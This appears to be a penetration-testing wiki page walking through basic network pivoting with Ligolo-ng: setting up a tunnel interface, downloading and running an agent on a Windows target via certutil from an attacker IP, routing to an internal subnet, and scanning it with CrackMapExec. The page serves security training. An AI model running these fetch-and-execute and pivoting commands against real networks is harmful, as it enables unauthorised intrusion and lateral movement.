> For the complete documentation index, see [llms.txt](https://zero-day-archives.gitbook.io/zero-day-archives/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zero-day-archives.gitbook.io/zero-day-archives/network-pivoting-port-forwarding-and-tunneling/pivoting/ligolo-ng/basic-pivoting.md).

# Basic Pivoting

#### **Basic Pivoting with Ligolo-ng**

**Source:**

<https://github.com/nicocha30/ligolo-ng>

**Releases:**

<https://github.com/nicocha30/ligolo-ng/releases>

***

#### **Step 1: Install Ligolo-ng**

1. **Download and Unzip Ligolo-ng:** Follow the instructions from the [Ligolo-ng GitHub repository](https://github.com/nicocha30/ligolo-ng) to download and unzip the contents.

***

#### **Step 2: Set Up the Interface**

To create the interface for pivoting, you need to add a new **TUN/TAP** interface and bring it up.

1. **Delete Old Interfaces** (if any):

   ```bash
   ip route list
   route del -net 10.0.0.0/24
   ```
2. **Add a New Interface**:

   ```bash
   ip tuntap add user root mode tun ligolo
   ip link set ligolo up
   ```

   This creates the interface **ligolo** to route traffic through the tunnel.

***

#### **Step 3: Get Help with Ligolo-ng**

You can always get help or view available options by running:

```bash
./proxy -h
```

***

#### **Step 4: Start the Proxy Server (Listening)**

Start the proxy server with the **self-cert** option, which will listen for incoming connections:

```bash
./proxy -selfcert
```

***

#### **Step 5: Move the Agent to the Target Machine**

1. On the target machine, use the following command to download the agent:

   ```bash
   certutil -urlcache -f http://192.168.45.241/agent.exe agent.exe
   ```
2. Once the agent is downloaded, run it with the following command:

   ```bash
   .\agent.exe -connect 192.168.45.241:11601 -ignore-cert
   ```

   Here, you are connecting back to your Kali machine. **Note**: We're using a self-signed certificate, which is why the `-ignore-cert` option is included.

***

#### **Step 6: View and Interact with Sessions**

To view the active sessions, run the following in the terminal:

```bash
sessions
```

Choose the session by typing its number, for example, '1'. Once you are in the session, run:

```bash
ifconfig
```

This command shows the interfaces on the target machine, including the internal network machine, like `10.10.86.141/24`.

***

#### **Step 7: Add Routing to the Pivoting Interface**

To route traffic through the tunnel (pivot), you need to add the target network to your routing table.

1. **Add a Route** to access the internal network:

   ```bash
   ip route add 10.10.86.0/24 dev ligolo
   ```
2. **Verify the Route**:

   You can check if Ligolo has added the route properly with:

   ```bash
   ip route list
   ```

***

#### **Step 8: Final Step - Start the Pivoting Session**

Now that the route is added, go back to your proxy server, ensure you're in the correct session, and start the proxy.

1. **Select Session**:

   Choose the correct session by typing the number (e.g., '1').

   ```bash
   session
   ```
2. **Start Pivoting**:

   Run the `start` command to begin the pivot.

   ```bash
   start
   ```

***

#### **Step 9: Verify the Pivoting Setup**

Now that the pivot is active, you can verify access to the internal network by using **CrackMapExec** to check if the internal machines are resolvable.

```bash
crackmapexec smb 10.10.86.0/24
```

If **CrackMapExec** can resolve the internal machines, the pivot is successful, and you now have access to the internal network.